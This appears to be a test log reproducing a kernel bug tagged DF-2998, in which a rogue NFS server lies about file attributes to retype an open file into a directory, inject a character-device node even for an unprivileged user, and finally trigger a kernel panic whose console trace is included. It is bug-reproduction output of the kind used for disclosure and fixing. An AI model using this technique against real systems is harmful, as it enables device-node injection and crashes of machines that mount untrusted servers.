=== DF-2998 baseline (stock kernel, fresh vm reset with-src) ===
=== part 1: TEST 1 (root) + TEST 1b (unprivileged) — retypes, no crash expected ===
-rwxr-xr-x  1 root  wheel  17360 Oct 12 11:52 fakesrv2998
-rwxr-xr-x  1 root  wheel  13880 Oct 12 11:52 trigger2998
MOUNT_OK rc=0
using rdev of /dev/vn0: 8 504430599

=== TEST 1: live VREG->VDIR retype + VCHR injection (as root) ===
BEFORE: type=REGULAR mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
[*] telling server: LIE file DIR ...
AFTER-DIR-LIE: type=DIRECTORY mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
*** DF-2998 CONFIRMED: live VREG vnode retyped VDIR while fd open ***
getdents(open 'file' fd, now VDIR) = -1 (Invalid argument)
[*] telling server: LIE file CHR 8 504430599 ...
AFTER-CHR-LIE: type=CHARDEV mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
*** DF-2998 CONFIRMED: device node injected via attributes (addaliasu + v_ops switch) ***
open(/mnt/f) after CHR lie = 4 (SUCCESS)
read(injected dev fd) = -1 (Invalid argument)
[*] telling server: LIE file DIR again (3rd retype) ...
AFTER-DIR-RELIE: type=DIRECTORY mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
TRIGGER_RC=0

=== reset lies, fresh mount ===
sent: RESET
UMOUNT_RC=0 (expect clean)
REMOUNT_OK rc=0

=== TEST 1b: same retype as an UNPRIVILEGED user ===
BEFORE: type=REGULAR mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
[*] telling server: LIE file DIR ...
AFTER-DIR-LIE: type=DIRECTORY mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
*** DF-2998 CONFIRMED: live VREG vnode retyped VDIR while fd open ***
getdents(open 'file' fd, now VDIR) = -1 (Invalid argument)
[*] telling server: LIE file CHR 8 504430599 ...
AFTER-CHR-LIE: type=CHARDEV mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
*** DF-2998 CONFIRMED: device node injected via attributes (addaliasu + v_ops switch) ***
open(/mnt/f) after CHR lie = 4 (SUCCESS)
read(injected dev fd) = -1 (Invalid argument)
[*] telling server: LIE file DIR again (3rd retype) ...
AFTER-DIR-RELIE: type=DIRECTORY mode=000666 uid=0 gid=0 size=4096 rdev=255,-65281
UNPRIV_RC=0

=== reset lies, fresh mount ===
sent: RESET
UMOUNT_RC=0 (expect clean)
REMOUNT_OK rc=0

=== TEST 2: cookie-cached VDIR->VREG retype, then umount ===
(SKIP_TEST2=1: stopping before the umount crash test)
=== DONE ===

=== part 2: TEST 2 (VDIR->VREG retype of cookie-cached node; umount crash expected) ===
[run ended in kernel panic captured on the serial console — see panic.bgetvp.txt]
big: drained 12000 bytes of dirents (>4096: cookies cached)
BEFORE: type=DIRECTORY mode=000777 uid=0 gid=0 size=524288 rdev=255,-65281

[ssh session died at the panic; serial console showed:]
---
bgetvp: overlapr 0000000000000000/8192 0000000000001000 bp 0xfffff8004f5c4a00 bx 0xfffff8004f5c69b0
panic: bgetvp - overlapping buffer
cpuid = 2
Trace beginning at frame 0xfffff8011842f3b8
bgetvp() at bgetvp+0x129 0xffffffff806f44c9
bgetvp() at bgetvp+0x129 0xffffffff806f44c9
getblk() at getblk+0x18b 0xffffffff806d703b
breadnx() at breadnx+0x284 0xffffffff806d7714
nvtruncbuf() at nvtruncbuf+0x26a 0xffffffff806f67ba
nfs_getattrcache() at nfs_getattrcache+0x1d4 0xffffffff80806094
Debugger("panic")

CPU2 stopping CPUs: 0x0000003b
 stopped
Stopped at      Debugger+0x7c:  movb    $0,0xbdaf09(%rip)
db>